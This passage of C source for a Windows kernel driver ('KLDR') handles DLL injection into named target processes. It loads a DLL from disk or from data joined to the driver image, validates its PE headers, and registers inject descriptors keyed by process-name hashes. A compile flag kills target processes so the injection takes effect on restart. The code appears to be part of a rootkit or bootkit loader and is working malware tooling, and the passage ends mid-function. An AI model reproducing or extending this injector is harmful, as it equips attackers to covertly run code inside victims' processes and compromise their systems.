KdPrint(("KLDR: AddInject: \"%s\" to \"%s\"\n", VfsDllName, ProcessList));
do
{
if (pImageBuffer && ImageSize)
{
// Using pre-loaded file
Buffer = pImageBuffer;
Size = ImageSize;
}
else
{
// Loading the specified DLL file
ntStatus = FsLoadFile(&aDllName, &Buffer, &Size);
if (!NT_SUCCESS(ntStatus))
{
// Looking if the requested DLL file is joind to the current driver
ULONG ImageId = ModuleNameCrc32A(&aDllName);
if (!GetJoinedData(GetCurrentImageBase(), &Buffer, &Size, FALSE, ImageId, 0) &&
!GetJoinedData(GetCurrentImageBase(), &Buffer, &Size, TRUE, ImageId, 0))
break;
} // if (!NT_SUCCESS(ntStatus))
}
// Analyzing the file
if (Size < sizeof(IMAGE_DOS_HEADER) ||
*(PUSHORT)Buffer != IMAGE_DOS_SIGNATURE ||
Size < ((Mz = (PIMAGE_DOS_HEADER)Buffer)->e_lfanew + sizeof(PIMAGE_NT_HEADERS)) ||
(Pe = (PIMAGE_NT_HEADERS)(Buffer + Mz->e_lfanew))->Signature != IMAGE_NT_SIGNATURE ||
#ifndef _WIN64
Pe->FileHeader.Machine != IMAGE_FILE_MACHINE_I386 ||
#endif
!(Pe->FileHeader.Characteristics & IMAGE_FILE_DLL))
{
ntStatus = STATUS_INVALID_IMAGE_FORMAT;
break;
}
if (Pe->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64)
Flags |= INJECT_AMD64_PROCESS;
else if (Pe->FileHeader.Machine != IMAGE_FILE_MACHINE_I386)
{
ntStatus = STATUS_INVALID_IMAGE_FORMAT;
break;
}
// Generating DLL image Id
if (!(ImageId = ModuleNameCrc32A(&aDllName)))
{
ntStatus = STATUS_INSUFFICIENT_RESOURCES;
break;
}
if (AttachCount == 0)
AttachCount = ATTACH_COUNT_MAX;
ntStatus = STATUS_INVALID_PARAMETER;
// Parsing the list of the target processes
while(ProcessList && ProcessList[0] != 0)
{
PCHAR pStr, pStr1;
ProcessList = strtrim(ProcessList, " \t");
pStr = strchr(ProcessList, ' ');
pStr1 = strchr(ProcessList, 9);
if (!pStr || (pStr1 && pStr1 < pStr))
pStr = pStr1;
if (pStr)
{
pStr[0] = 0;
pStr += 1;
}
RtlInitAnsiString(&aProcessName, ProcessList);
NameHash = ModuleNameCrc32A(&aProcessName);
if (InjDesc = AllocateInjectDescriptor(NameHash, ImageId, Buffer, AttachCount, Flags))
{
InsertInjectDescriptor(InjDesc);
#ifdef _BK_KILL_PROCESS
SearchAndKillProcess(NameHash);
#endif
ntStatus = STATUS_SUCCESS;
}
ProcessList = pStr;
} // while(ProcessList && ProcessList[0] != 0)
} while(FALSE);
if (!NT_SUCCESS(ntStatus) && Buffer && !pImageBuffer)
// In case of an error releasing DLL buffer
MyFreePool(Buffer);
KdPrint(("KLDR: AddInject finished with status: 0x%X\n", ntStatus));
return(ntStatus);
}
//
// Removes all inject descriptors either for the specified module or for the specified process.
// Returns number of inject descriptors removed.
//
ULONG KldrRemoveInject(
PCHAR InjectModuleName, // Name of the inject module to remove injects for
ULONG ProcessNameHash // Hash of the name of the processs to remove injects for
)
{
PLIST_ENTRY pEntry;
PINJECT_DESCRIPTOR InjDesc;
ULONG Count = 0, InjectModuleId;
ANSI_STRING aModuleName;
RtlInitAnsiString(&aModuleName, InjectModuleName);
InjectModuleId = ModuleNameCrc32A(&aModuleName);
LockInjectDescriptorList();
pEntry = g_InjectDescriptorListHead.Flink;
while(pEntry != &g_InjectDescriptorListHead)
{
InjDesc = CONTAINING_RECORD(pEntry, INJECT_DESCRIPTOR, InjectListEntry);
pEntry = pEntry->Flink;
if (((InjectModuleId) && (InjDesc->InjectModuleId == InjectModuleId)) ||
((ProcessNameHash) && (InjDesc->Flags & INJECT_SPECIFIED_PROCESS) && (InjDesc->TargetProcessHash == ProcessNameHash)))
{
// Removing inject descriptor from the InjectDescriptorList
RemoveEntryList(&InjDesc->InjectListEntry);
// Decrementing it's reference count: inject desciptor will be released when it's reference count reaches 0
DereferenceInjectDescriptor(InjDesc);
Count += 1;
}
} // while(pEntry != &g_InjectDescriptorListHead)
UnlockInjectDescriptorList();
return(Count);
}
// ---- Filter routines -----------------------------------------------------------------------------------------------------
VOID _stdcall MyCreateProcessNotifyRoutine(